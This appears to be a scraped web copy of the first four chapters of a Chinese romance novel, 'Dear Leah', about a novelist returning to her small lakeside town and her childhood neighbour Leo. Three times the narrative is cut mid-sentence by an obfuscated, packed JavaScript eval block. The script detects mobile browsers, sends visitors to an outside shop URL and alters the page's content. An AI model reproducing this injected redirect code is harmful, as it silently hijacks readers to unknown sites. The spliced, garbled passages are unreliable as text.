《亲爱的莉娅》 1. chapter1 灯光像充盈在俱乐部每个角落，空气是浑浊的，昂贵的香水企图盖过雪茄的余味和小点心碎屑甜腻的气息。 莉娅接过香槟，嘴角挂着微笑。既展现期待又不显得过于渴望，但她的脸颊肌肉已经开始酸痛了。 “如果获奖，你的下一本小说首印数至少翻倍，我们会把宣传海报铺满从纽约到旧金山所有重要书店的橱窗，用你的脸。” 汉斯低声说。 汉斯是她的出版社社长，他是个总能把阿玛尼西装穿出推销员气质的中年男人。 今天他穿了一套深灰色的精纺羊毛西装，靠近时身上传来一股混合着咖啡、高级须后水的气味。他的手指节粗大，据说早年曾在印刷厂和仓库里搬运过成捆的书籍，如今这双手主要用来签署合同。 “如果没有呢？”莉娅问，抿了一口酒。 汉斯的笑声过于洪亮，引得周围几个文学评论家转过头来。 “那就看你下一本书的构思了。不过今晚，我们只谈获奖的事。” 这个会员制俱乐部的墙壁上覆盖着深色的木质护墙板，上面挂着几幅巨大的油画，画框是繁复的金色。脚下的地毯厚重非常，吞没了所有脚步声和偶尔掉落的点心屑。 她的编辑玛莎就在这时挤了过来，她年纪约莫五十多岁，穿着一件样式保守的深绿色羊毛长裙，鼻梁上架着一副老花镜。她熟练地分开人群，一把将莉娅从汉斯身边拉了过来。 玛莎曾经跟她说：“想想最坏的结果亲爱的，就算没得奖我们也能发个通稿，‘爆冷出局！天才女作家莉娅憾失奖项，但她的作品值得我们深夜痛哭并购买十本送朋友’。” 她总是这样，能把一切哪怕是失败，都变成营销的噱头。 莉娅当时笑了，觉得玛莎有一种把世界变成情景喜剧的天赋。 “记住无论得奖与否，你都是今年最受关注的新生代作家。”玛莎低声说，整理着莉娅的晚礼服肩带。 “能被提名就已经很不错。”莉娅纠正道。 这是她的真心话，她想起那些敲打打字机的日夜，能走到这一步本身就像个奇迹。 社长汉斯听到她这个话，眉头一皱，露出一副他经常吃甜味甘草糖时一样的表情：“反正不管怎么样，销量才是最重要的。” 大厅前方的临时讲台已经布置妥当，主持人正在调试话筒高度。 莉亚看着手机屏幕，五分钟后将揭晓本年度的新锐文学奖结果。而她的第二部长篇小说入围最终名单，这也是她今晚出现在这里的唯一原因。 “马上就公布人选了，你在等谁的电话？”玛莎提醒道。 莉娅瞥了一眼屏幕，然后按下静音键，将手机塞包里：“没有，我只是在看时间。” 一个满头银发的评论家拦住她，谈论着她书中中某种意识流转向。 莉娅保持微笑，感觉胃里有群喝了浓缩咖啡的仓鼠在跑轮子。 讲台上传来麦克风的嗡鸣声，评委会主席开始致辞。 莉娅感觉胃部收紧，玛莎捏了捏她的手，低声道：“无论结果如何，你已经走到了这里，记得刚毕业来出版社时的样子吗？” 莉娅记得，那时她穿着一件洗得发白、袖口有些磨损的牛仔外套，手里抱着装着三百页手稿的硬纸盒子，头发被雨淋得有点湿。 她已经被连续拒绝了三次。 是玛莎，从堆积如山的稿件和校样里走出来看到了她。 玛莎当时随手翻了几页她那被雨水洇湿些许边角的手稿，抬起眼透过老花镜的看着她，说：“你这东西有种原始的力量，像刚从地里挖出来的石头，还带着泥和水。” 那时莉娅觉得“带着泥”是种贬义，是粗糙、未开化和不合时宜的代名词。但现在站在这流光溢彩的大厅里她开始无比想念那种实实在在的、甚至有些粗糙的感觉。 “本届新锐文学奖得主是……”评委会主席打开信封，时间仿佛被拉长。 莉娅看见汉斯向前倾身，几个竞争对手出版社的人露出紧张的微笑。 名字被念出，不是她的。 掌声雷动，莉娅保持微笑，跟着鼓掌。玛莎紧紧握住她的手臂，而汉斯已经转向新任获奖者，像一艘调整航向的战舰。 “你的下一本书会更好，”他走过莉娅身边时语速极快地丢下一句，甚至没有完全停下脚步，“前提是莉娅，我们能一起找到一个更……市场化的切入点。读者想要什么，我们就给什么，这是生意。” 莉娅点点头，仿佛刚刚被授予了全世界最大的荣誉。 她应付着涌来表示同情的人，比如什么“结果谁都没想到”、“这种商业奖项毫无意义”等等。 在人群最密集的时刻，她做出了一个决定，一个非常非常不文艺的决定。 莉娅转过身，沿着墙壁的阴影，像一滴水融入地毯一样，悄无声息地向侧面的出口溜去。 室外，晚风带着城市特有的烟尘气息。室外的空气带着初秋夜晚的凉意，猛地灌入她的肺部， 她的车停在两个街区外，一辆与这身装扮极不相称的旧越野车。 她拉开车门，拿开座椅冰凉上扔着一件她平时穿的旧法兰绒衬衫。 莉娅首先扯下了耳朵上那对硌得她耳垂生疼的耳钉，然后看也没看就把它们扔进仪表盘下方的储物盒里，和几张加油发票混在一起。然后她弯腰费力地解开那双让她的脚跟磨出水泡的黑色缎面高跟鞋，她拎起它们借着路灯的光看了看，然后毫不犹豫地反手将它们扔到了后座。 她在心里用她所知的最粗鲁的词汇骂了一句，关于这双鞋和它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790920|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那荒谬的价格。之后她笑出了声，像憋了很久的一口气终于吐了出来。 手机震动不停。玛莎，汉斯，几个记者……全都想知道她在哪里。 也许明天就会刊登出她疑似落选后愤然离场的消息。 莉娅没有接听，她启动引擎，驶向高速公路。她没有目的地，只想着要离开。 车子驶出城市汇入郊野公路，路灯快速向后退去。她摇下车窗，让猛烈的风灌进来吹乱她精心打理的发型。 橡林小镇街道依旧狭窄，两旁的房屋低矮，有些门廊下的摇椅还在夜风中轻轻晃动。只是路边的加油站招牌换了，镇口那家老电影院门口贴着停业的告示已经很久了，纸质泛黄，橱窗玻璃破裂了一角里面积满了厚厚的灰尘。 她拐进一条更小的砂石路，车轮碾过石子。最后她把车停在湖边那条熟悉的、被车轮压出两道深沟的小路上，熄了火。 月光下的湖面如同抛光的黑曜石，那艘破旧的小船还拴在老地方。莉娅拉起晚礼服裙摆，踏入船中，解开绳索，发动引擎。 谢天谢地小船还能发动。 她笨拙地爬上去，丝绒礼服被木刺勾了一下她也毫不在意。她躺在船底蜷缩起来，小船随着水流轻轻摇晃。夜空很高，星星稀疏而遥远，岸边那棵巨大的山核桃树在夜色中伸展着枝桠。 就在这里，她关闭了手机。 世界的喧嚣被彻底切断。 她不知道躺了多久，几乎要在这摇晃中睡去。直到一个沉稳的脚步声打破了河边的寂静，有人踏着草地走来，脚步很重。 莉娅没有动。 来人停在了岸边，她能感觉到那道目光落在自己身上。然后他弯下腰，抓住了捆着小船有些磨损的麻绳。 下一秒，小船开始移动，莉娅微微抬起头。 ……是利奥。 他穿着沾满油污的蓝色工装服，袖子卷到手肘露出结实的小臂。他拉着绳子，绳子在他掌心摩擦发出轻微的沙沙声。 他把她连人带船稳稳地拉到了岸边，他的脸在阴影里看不太清，但那股混合着机油和干净皂角的气味扑面而来，熟悉得让她鼻子发酸。 利奥没有说话，只是看着她。看着她一身与周遭格格不入的深绿色丝绒礼服，看着她赤着的双脚沾上了河边的泥泞，看着她凌乱的头发。 他皱了皱眉，不是责备。利奥松开绳子走到水边，就着河水用力搓洗着手上的油污。做完这一切他才重新看向她，声音低沉沙哑，像山核桃粗糙的外壳摩擦过地面： “电话打到我那里了，玛莎找疯了。”他顿了顿，目光在她脸上仔细巡梭，“你没事就好。” 然后他朝她伸出手，那只刚刚洗净、还带着河水凉意和粗糙茧子的手。 “起来莉娅，水里冷。” 2. chapter2 夏天，橡林镇北部的湖泊像一块被上帝遗忘的琉璃，静静地躺在苍翠的森林怀抱中。湖水清澈见底倒映着天空的云卷云舒，偶尔有鲈鱼跃出水面，打破这片宁静，漾开一圈圈涟漪。 湖岸旁疏疏落落地立着几座房子，其中一座是杆栏式结构，木头被岁月和湿气浸润出深沉的褐色，像是从土地里自然生长出来的。 那是十八岁女孩莉娅·罗斯的家。 母亲离开的第三周，厨房里的罐头豌豆只剩下最后一罐。莉娅学会用报纸生火，学会在黄昏前拉上每一扇窗帘。 母亲的信搁在餐桌上，这是莉娅今天早上收到的，这已经是第三封了，每个星期一封，信上说：“好好照护自己”。 另附上生活费。 几乎是一个月前莉娅母亲说找到一份工作，而那份工作就在密尔沃基。 她把糖罐里的美元摊开数了又数，买一张去密尔沃基的单程车票是绰绰有余的。 如果她敢搭陌生人的车去车站的话。 利奥·米勒的家就在莉娅家隔壁，更像一个小型农场。利奥是家中的第三个孩子，不过两个姐姐早已离家在小镇西边开了一家面包店，不常在家住。他今年十八岁，比莉娅大几个月，两人在同一所高中读书。 那天下午，莉娅从厨房的窗户望出去，目光越过晾衣绳上飘荡的床单，她忘记收进来的床单已经被午后的骤雨打湿又晒干，边缘泛着水渍的黄。 她看见利奥骑着自行车出现在小路尽头。 利奥的自行车是他自己组装的，车架是从废品站淘来的，齿轮和链条则来自不同的旧车。但他保养得极好。快到门口时他轻巧地跳下车，甚至没有等车完全停稳。 即使隔着一段距离，莉娅也能看出利奥刚刚结束训练。 他的棕色发丝被汗水浸湿，紧贴在前额上。运动服后背湿了一大片，但他似乎毫不在意。他将自行车靠在门廊栏杆上，没有立刻进屋，而是先调整了一下有些歪斜的车把。 莉娅深吸一口气，穿过两家之间那片已经开始发黄的草地。 她的影子在夕阳下拉得很长，自从利奥的父亲十年前去世后他们几乎没再说过话。童年时期，莉娅经常来找利奥的姐姐们玩，几个孩子总是一起在湖边追逐嬉戏，利奥教她如何打水漂，如何识别鲈鱼产卵的浅滩。 但这一切随着米勒先生的离世戛然而止，利奥变得沉默寡言，不再是从前那个会对着湖面大喊大叫的男孩。 “利奥。”她轻声叫道，声音被风吹得有些发颤。 这是近两个月来他们第一次单独交谈。 利奥转过身，他的眼睛是早雾般的烟灰色，却比记忆中深沉了许多。 “莉娅。”他简单地回应道，手中的活计没停。他正在保养长曲棍球棍，用特制的油擦拭网兜，手指轻轻拨动弦线测试张力。 “可以借用一下南希的自行车吗？” “自行车？”利奥重复着莉娅的请求，但没有停下手中的工作。 “南希的旧车在仓库里，车链被浣熊咬断了，可能已经不能骑了。” “我能看看吗？”莉娅问，手指不自觉地绞着裙摆，这是母亲离开前给她做的最后一条裙子，腰身已经有些紧了。 利奥放下球棍，示意她跟上。仓库里弥漫着干草和机油混合的气味，他从一堆杂物中拖出一辆女式自行车，蓝漆已经斑驳，车把有些歪。 “你要去哪？”利奥问，开始检查车链的生锈情况。 他的手指灵巧地转动踏板，测试链条的灵活性。 “密尔沃基。”莉娅说。 利奥的动作停顿了一瞬，“为什么？” “妈妈在那里。”莉娅从口袋里掏出那封信，纸张因为反复翻阅已经变得柔软，“她三周没回来了，信上说她在工作有些事情要处理，我想去看看她。” 利奥接过信纸，扫了一眼地址，眉头微蹙。 “你从没离开过橡林镇。” “所以需要自行车到公路上，然后搭便车。” 利奥放下信，继续摆弄自行车：“你怎么知道具体位置？” 莉娅又从口袋里掏出一张手工绘制的地图，摊开在干草堆上：“我问了邮局的哈里斯先生，他以前经常去密尔沃基。还有加油站的老乔，他帮我标出了可能的路线。” 利奥仔细看着地图，走到水龙头边又开始洗手，水声哗哗：“去了呢？哪里路多得能让你晕头转向。” “没关系，去了再说，我可以一路问着去。”莉娅固执地折起地图。 她从小到大，最远只到过镇子另一头的森林边缘。城市对她来说是电视里的模糊影像，是一个陌生的所在。 利奥甩干手上的水珠，走到她面前，他比她高一个头还多，投下的阴影完全笼罩了她。他看着她低垂的、微微颤抖的眼睫毛，沉默了几秒钟。 空气里只有那永无止境的蝉鸣。 “不行。”他最终说道，声音不高，“太远了，路况也复杂，你一个人骑辆破自行车不行的。” 他拒绝得干脆利落。 莉娅张嘴想争辩，但他已经转身拿起一把扳手，开始调整自行车的刹车线。整个人的背影就像一堵无声的墙，结束了这场对话。 莉娅默默地退出仓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790921|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 库，穿过夕阳斜照的草地。她的肩膀垮了下来，刚才强装的镇定此刻消散无踪，像被戳破的气球。回到空荡荡的房子里，她盯着厨房水槽里积了一天的碗碟，突然感到一阵窒息般的疲惫。 利奥看着莉娅离开，然后继续手中的工作。他将长曲棍球装备仔细收好，检查每一处需要修补的地方。接着他从工作台下拖出一个木箱，里面是他收集的各种机械零件和工具，他正在组装一个渔线轮，已经进行了大半。 拿起半成品，用镊子夹起细小的齿轮，涂上润滑油，再小心翼翼地安装到位。 夕阳西沉时，利奥终于抬起头，脖颈因为长时间保持一个姿势而有些僵硬。 他站起身活动肩膀，无意间望向窗外。 莉娅就在那里，在她家的后院中，面对着一辆明显过于矮小的儿童自行车。那是她小时候骑的，加上辅助轮才勉强能保持平衡。自行车已经锈迹斑斑，后轮甚至有些变形。 利奥看着莉娅蹲在自行车旁，试图用一把生锈的钳子卸掉松动的辅助轮。她的动作笨拙而固执，手指被金属边缘划了一下，迅速缩回来含在嘴里。但她没有放弃，继续尝试拧紧那颗已经滑丝的螺丝。 几次失败后，莉娅扔下钳子，双手无力地垂在身体两侧。她没有试骑，甚至没有把自行车扶正，就那样呆呆地看着这个不可能带她去远方的交通工具。 然后利奥看到，莉娅的肩膀开始微微颤抖，即使隔着距离，他也能看出她在努力压抑自己的抽泣。她的头越垂越低，最后前额抵在了自行车破旧的坐垫上。 利奥皱起了眉头，他从没见过莉娅哭。 即使在学校的操场上被篮球砸中鼻子，血流如注时，她也只是咬紧嘴唇，不让眼泪掉下来。他想起小时候她摔倒在湖边碎石滩上，膝盖磕得鲜血直流，却硬是一声不吭地让他背着回家。那时候她还很小。 此刻在夕阳的金红色光芒中，莉娅·罗斯蹲在杂草丛生的前院，对着一辆破旧的儿童自行车无声地哭泣。 暮色渐浓，湖面开始泛起雾气，远处的林线模糊成一片深色的剪影。利奥的手地握紧了窗框。 然后他开始动了起来。 他走到那辆闲置的、属于他二姐的女士自行车旁。轮胎是瘪的，他蹲下身用手指捏了捏轮胎，检查了一下气门芯，然后利落地从工具房里拿出打气筒。 窗外，莉娅仍然蹲在草地上，现在她把脸埋在了臂弯里整个人蜷缩成一个小团，仿佛想要消失在这片暮色之中。 之后，仓库里南希的旧自行车靠墙而立，利奥已经给它换了新的内胎，调整了刹车，甚至还给链条上了油。 3. chapter3 早晨，莉娅推开纱门，铁合页发出熟悉的声响。 晨光像融化的橘子酱涂抹在门廊地板上，她想起母亲总说“清晨的光最慈悲，它让一切脏污都显得干净”。 十八岁的这个早晨，她还是独自一人在家。 她按母亲留下的清单干活，她给天竺葵浇水，擦净厨房的油毡地板，把晾衣绳上的床单收下来叠好。床单带着阳光和鼠尾草的味道，让她想起从前母亲临睡前反复叮嘱：“锁好门莉娅，天黑后别出去。” 她把几件换洗衣物、水壶、火腿三明治塞进帆布包。最后检查炉灶是否熄火时，透过厨房窗户看见米勒夫人正站在她家篱笆旁。 米勒夫人是镇上最坚韧的女人，大家都这么说。那场矿灾带走了镇上许多的男人，包括她丈夫。她独自养大了两个女儿和一个儿子，此刻她挽着柳条篮，篮里装满深紫色的接骨木果。 “早上好，亲爱的。” 米勒夫人微笑时眼角的皱纹就显现出来，“看到你家的烟囱没冒烟，想来瞧瞧。” 莉娅锁上门走过去。 米勒家的院子是全镇的奇迹，蓖麻植株高过篱笆，金盏花沿着小径怒放，药草圃里长着薄荷、迷迭香和鼠尾草。最艰难的那几年米勒太太用蒲公英根做咖啡，用橡子磨粉做面包，还教其他妇女这么干。 “我做了接骨木果酱，”米勒夫人从篮里取出一个小陶罐，“知道你一个人，这个配面包很好。”她又拿出一个纸包，“这是干薄荷，泡茶喝能安神。” 莉娅接过礼物时闻到对方手上淡淡的泥土和香草味。 米勒夫人端详着她的脸：“吃早饭了吗？光吃三明治可不行。来，我刚烤了玉米面包。”她又塞来一个还温热的油纸包。 “谢谢您，米勒夫人。我正准备去溪边读会儿书。” 米勒夫人点点头，阳光照得她缕缕金发闪闪发亮。 她突然想起什么：“对了莉娅，利奥在大榆树下等你，他让我看见你时说一声。” 莉娅惊讶地抬头。 利奥·米勒是镇上最出色的曲棍球手，暑假里这时候他应该在球场训练。 “可是......球队不是有晨训吗？” 米勒夫人嘴角泛起一丝微笑：“是啊，每年夏天他都像被钉在球场上。但今天早上他醒来就说‘莉娅一个人出发，我得去瞧瞧’，那孩子决定的事连龙卷风都改不了。” 她轻轻推了推莉娅的胳膊，“去吧，榆树下凉快。” 莉娅沿着尘土飞扬的小径走去，心跳莫名地快。橡林镇很小，从她家到溪边只要十分钟，途中必经那棵老榆树，据说它在那儿的年头比镇上任何人家都长。 晨雾尚未完全散去，阳光透过榆树巨大的树冠，在地上投下斑驳的光影。她看见利奥靠坐在粗壮的树根上，曲棍球杆随意放在身边。 他十八岁，却已经有了男人的宽肩膀，但眼神里还留着男孩的清澈。 一阵微风吹过，榆树叶沙沙作响，几片阳光的碎片在他脸上跳动。 仿佛感受到目光，他抬起头。 那一瞬间风恰好吹乱他浅棕色的卷发，也吹起了莉娅的裙摆。他的眼睛是阴日天空的颜色，在看到莉娅时微微亮起来。 “嘿，”他站起来，有些拍了拍裤子的灰尘，“妈妈找到你了。” “你没去训练。”莉娅说，声音比她想象中的要轻。 利奥耸肩，这个动作让他看起来比他实际年龄小：“教练放我一天假。” 他们并排坐在榆树根上，利奥从背包里掏出两个苹果：“妈妈让带的，她说你可能只带了干巴巴的三明治。” 莉娅接过苹果，指尖触到他的手掌：“其实我不需要照顾，”她说，“我能独自一个人待很久。” 利奥认真点头：“我知道你能，只是......” “我想你一个人可能会无聊，”他说，“如果你愿意，我可以陪你，就......确保你没事。” 莉娅看着这个站在夏日晨光中的少年，他身后是潺潺溪流和摇曳的白桦。忽然间漫长的路途不再令人不安，反而充满了未知的可能。 微风再次拂过，吹动他额前的卷发。莉娅微笑了，第一次直接迎上他的眼睛。 “其实，”她说，“我多带了一个三明治。” …… 自行车在蜿蜒的土路上平稳前行，车轮碾过碎石发出细碎的声响。莉娅的手轻轻搭在利奥的腰间，能感受到他蹬车时背部肌肉的起伏。阳光透过橡树和枫树的枝叶间隙，在他们身上投下斑驳的光影。 道路渐渐变得熟悉，莉娅的思绪飘回了童年。她想起那些夏日的午后，在米勒家宽敞的门廊上，她和利奥还有他的两个姐姐一起玩纸牌游戏。 "你又作弊了，南希。" 利奥的大姐莎拉总是第一个喊起来，棕色的辫子随着她激动的动作甩来甩去。 "我没有，是你自己没看清楚牌。"南希反驳道，脸上却带着藏不住的笑意。 利奥总是安静地坐在她们中间，手里握着牌，眼神平静。即使被姐姐们故意捉弄，他也从不抱怨。莉娅记得有一次，南希偷偷从牌堆里多拿了一张牌，利奥明明看见了，却什么也没说。当莎拉发现后大发雷霆时，利奥只是轻轻放下自己的牌，说："重新开始一局吧。" 那时候的利奥就已经像一棵沉稳的小树，在姐妹们的喧闹中安静生长。 "累了就说。"莉娅眨了眨眼睛。 利奥的蹬车节奏稍微慢了一些，但没有停止。 "前面有个上坡，"莉娅继续说，"我们休息一下？" 利奥点点头，自行车缓缓停在一棵巨大的山毛榉树下。莉娅从后座跳下来，从背包里取出水壶和用油纸包着的玉米面包："你妈妈准备的。" 她把食物递给利奥，自己则坐在树根上，拿出那瓶接骨木花茶。 利奥接过面包，默默吃起来。他的吃相很斯文，不像镇上其他男孩那样狼吞虎咽。 "缺一天训练，真的没问题吗？"莉娅问道，声音里带着一丝担忧。 利奥喝了一口水，摇摇头：“教练不会开除我。” 莉娅知道这是事实。 利奥是橡林镇高中曲棍球球队最好的球员，即使在整个州都小有名气。教练常常拍着他的背说："这孩子将来能打职业赛"。 但利奥从不炫耀，就像此刻他只是简单陈述一个事实，没有任何傲慢。 休息片刻后，他们继续上路。前方的坡道确实陡峭，莉娅主动跳下车："我帮你推。" 利奥没有反对，只是调整了车把的角度，两人默契地一起用力向上推。阳光越来越强烈，莉娅的额头上渗出细小的汗珠。 当他们到达坡顶时，一片开阔的田野展现在眼前，微风拂过带来青草和野花的香气。莉娅重新坐回后座，这次她大胆地稍稍靠紧了利奥的背。 自行车再次前行，速度比之前更快了。莉娅闭上眼睛，感受着风拂过脸颊的惬意，她的亚麻色发丝在风中飘扬。 "奥黛丽呢？"利奥突然问道，声音被风吹得有些散，"平时你都和她在一起。" 莉娅愣了一下，利奥说的没错，自从小学三年级以来她几乎总是和奥黛丽形影不离。 奥黛丽是个活泼的女孩，红色的卷发总是乱蓬蓬的，脸上永远带着笑容。 "她去明尼苏达州过暑假了，"莉娅回答，声音不自觉地轻快起来，"她舅舅家有个大农场，上周我收到了她的明信片，上面画着一头小牛犊。她说学会了挤牛奶，但第一次尝试时被牛尾巴甩了一脸。" 莉娅叽叽喳喳地说着，她告诉利奥，奥黛丽如何追着一只鸡跑遍了整个农场，如何差点掉进肥料堆，如何在晚上的篝火会上学会了弹几首简单的吉他曲。 利奥安静地听着，偶尔点点头。阳光透过树叶，在他深色的头发上跳跃。 就在这时，一辆老旧的福特皮卡从后面驶来，车上放着震耳欲聋的摇滚乐。开车的老伯将手搭在车窗上，手指随着节奏敲打，"嘿，孩子们，"老伯减速与自行车并行，关小了音乐声，"这不是罗斯家的小姑娘和米勒家的小子吗？这是要去哪儿？" 莉娅认出了这是镇上杂货店的老板，汉森先生，他经常来买钓鱼用具和薄荷糖。 "汉森先生好，"她礼貌地回答，"我们去前面的车站。" "正好顺路，"汉森先生爽朗地笑道，"上车吧，这破天气眼看就要下雨了。后头有点货，但给你们腾个地方没问题。" 莉娅看向利奥，见他微微点头，才笑着答应："太感谢您了。" 汉森先生停稳车，帮他们把自行车抬到皮卡后面。车斗里放着几个木箱，散发出淡淡的鱼饵和汽油混合的气味。利奥熟练地将自行车固定在车厢一侧，然后伸手扶莉娅上车。 "你妈妈最近有信来吗，小莉娅？" 汉森先生一边发动车子一边问道，"上个月她还在我店里说要去密尔沃基找份好工作呢。" 莉娅的心轻轻一颤："有的，先生。她说在那边挺好的。" "那就好，那就好。"汉森先生点点头，"你妈妈是个能干的女人，记得告诉她，老汉森说店里新进了一批她喜欢的缝纫线，等她回来打折。" 车子驶过颠簸的土路，汉森先生絮絮叨叨地说着镇上的琐事："莉娅，之前你母亲在我那儿买的缝纫机好用不。" 莉娅简短地回答："很好用。" "我就说嘛，那可是最好的牌子。"汉森先生得意地说，随后又压低声音，"利奥，听说青少年联赛又快开始比赛了，好样的，给橡林镇争光。" 莉娅站在车斗里，手扶在栏杆上。风吹起她的发丝，汉森先生的话絮絮叨叨的，好像知道镇上每个人的小事。这就是小镇的生活，每个人都彼此认识，互相关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790922|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 "到啦。"汉森先生停下车，"需要我等你们买票吗？" "不用了，谢谢您。"莉娅赶紧说，"已经帮了大忙了。" "那好吧，"汉森先生帮他们把自行车抬下来，"代我向你们家人问好，记住啊小莉娅，告诉你妈妈缝纫线的事。" 他们刚把自行车从皮卡上搬下来，雨点就开始落下。汉森先生按了声喇叭告别，皮卡渐渐消失在雨幕中。 利奥迅速将自行车推到车站的遮棚下，但两人还是被雨水打湿了肩膀。小小的休息站里空无一人，只有几张木质长椅和一个已经停止运转的老式风扇。雨越下越大，敲打着铁皮屋顶，发出持续不断的响声。 莉娅坐在长椅上，看着窗外连绵的雨幕。 汉森先生的话语还在耳边回响，却让她的决心开始动摇。每个人都在期待母亲回来，汉森先生留着母亲喜欢的缝纫线，米勒太太送来接骨木糖浆，邻居们都在问起她的近况。 如果她真的去了密尔沃基...… 雨水在玻璃上蜿蜒流淌，将外面的世界扭曲成模糊的色块。她看着雨水中倒映出的自己，一个穿着旧连衣裙、头发被风吹乱的女孩，正要去一个陌生的城市找人。 利奥安静地坐在她身边，水珠从他的发梢滴落，在肩头留下深色的印记。 他的沉默像一面镜子，照出了她此刻的彷徨。莉娅突然意识到，这次出走就像这场突如其来的大雨，猛烈却短暂。当雨停后一切都会恢复原样，除了他们被淋湿的衣服和可能感冒的身体，什么都不会改变。 她想起母亲教她独立时严肃的神情，那些如何记账、如何做饭、如何缝补的课程。母亲说这些是为了让她能照顾好自己，可现在想来，那更像是一种告别前的准备。 如果母亲真的只是去打工，为什么要把所有生存技能都教给她？为什么那些信越来越短？ 莉娅的目光落在利奥被雨水浸湿的帆布鞋上。 他为了陪她，放弃了重要的训练。 雨声渐渐变小，但天色已经暗了下来。远处笼罩在灰蒙蒙的雾气中，这条路显得漫长而艰难。 莉娅看着窗外被雨水洗刷过的世界："利奥…..."她的声音在空旷的车站里显得很轻，"等雨停...…我们就回去吧。" 她没有解释原因，但利奥只是点了点头。 他的理解让她既感到安慰，也许他早就知道，这趟旅程注定不会走得太远，就像他们小时候尝试用纸船渡过溪流，明明知道会沉没，却还是要亲手放它入水。 * 雨没有停，反而下得更大了，敲打着车站的铁皮顶。站内那张发黄的列车时刻表显示，途经橡林车辆一天只有五班，这少得可怜。 莉娅和利奥并肩坐在长椅上。雨水带来的凉意逐渐弥漫开来，她看见他闭上眼睛，头微微向她这边倾斜。 ……利奥睡着了。 莉娅注意到他深色的头发被雨水打湿，几缕贴在额头上。他的睫毛很长，在眼下投下细碎的阴影。在莉娅的记忆里，利奥似乎总是缺觉。无论在哪里他都一副兴致缺缺的模样，仿佛对什么都提不起兴趣。 除了两种时候：当他握住长曲棍球杆时，或是摆弄机械时。其他时候，他就像是为了节省能量而存在，动作和话语都精简到极致。 这种变化始于他父亲去世后。 整个橡林镇被榆树林与橡树环绕，只有一条主道贯穿全镇，镇上有一个矿洞，几乎镇上所有的青壮年都在哪里工作。 十年前的矿难带走了镇上的大部分青壮年。 一阵冷风吹进车站，利奥在睡梦中轻微颤抖。莉娅犹豫一下，脱下自己的外套盖在他身上。 就在那一刻，他的手突然抓住她的手腕，力道很大。 利奥的眼睛半睁着，烟灰色的眼眸在昏暗光线下显得朦胧。 "抱歉。"利奥立刻松开手，声音沙哑。他没有拒绝外套，只是稍稍坐直。 两人之间的空气变得微妙起来。 雨声似乎小了，但站内的寂静更加明显。 不知过了多久雨终于停了，屋檐还在滴水。 正当他们准备离开时，一辆深色轿车停在站前。车窗摇下，露出吉姆女士严肃的面孔。 吉姆女士作为橡林镇唯一的女医生，在镇上德高望重，不仅给人看病，连谁家的牲畜出了问题也会请她去瞧瞧。 隔壁镇的大农场经常邀请她去出诊，为了感谢她，常常送来奶酪、香肠等农产品。但镇上的孩子们见到她都忍不住想绕道走，因为她总会规训他们出了汗不要马上冲凉水、不要去危险的地方玩耍。对于长曲棍球这项运动，她更是直言不讳地称之为"危险的运动"，尽管每场比赛她都会被邀请到场。 "莉娅，利奥。” 她简洁地打招呼，目光扫过利奥搭在胳膊上的女式外套，眉头微皱，"需要搭车回镇上吗？" 4. chapter4 莉娅察觉到吉姆女士审视的目光，连忙解释："雨太大了，我们在这里避雨，正准备回去。" 吉姆女士点点头，表情依然严肃："上车吧，这样的天气不适合在外面逗留太久。" 回程途中，吉姆女士专注地看着路面，偶尔通过后视镜观察他们。 “利奥，你肩膀的伤怎么样了？"她的声音平稳，“上次比赛后我看到你敷着冰袋，记住受伤后要冷敷，之后才能热敷，不要急着恢复训练。" 利奥的目光落在窗外被雨水浸泡的风景上，简短地回答：“知道了。” “这可不是小事，"吉姆女士语气严厉，"你们这些打曲棍球的，总是不把自己的身体当回事，那可是一项危险的运动。”那是属于野蛮人的运动，她语调里的潜台词嗡嗡作响，她又开始念叨这些。 之后转而看向莉娅，语气稍稍缓和："莉娅，我那里又得了一些不错的奶酪，改天给你送些过去。你母亲有来信吗？在蜜尔沃基的工作还顺利？" 莉娅简单地回应了几句。 吉姆女士不像汉森先生那样爱开玩笑，会用爽朗的大笑和夸张的故事填充空间。她的关心总是包裹在严肃的外表下，像一颗需要用力才能剥开的坚果，外壳坚硬得硌牙。 "年轻人应该把时间用在有意义的事情上，"吉姆女士最后说，目光在前方道路上停留，"雨天到处跑容易感冒，耽误正事。" 莉娅感到些许尴尬，她瞥了一眼利奥，他依然保持着沉默，似乎对吉姆女士的话毫不在意。 回到橡林镇边界时，道路因持续的雨水变得越发泥泞不堪，吉姆女士的车不愿再往前涉险。下车后利奥沉默地检查了一下旧自行车的车况，链条上沾满了泥浆："你坐上来，我推车。" “不用了，我可以……” “坐上去。"他的语气不容拒绝。 泥泞中推行并不轻松，自行车轮不时陷入柔软的泥潭。但利奥的背影很稳，叶隙残留的雨水顺着他发茬流下，沿着脖颈隐入衣领。 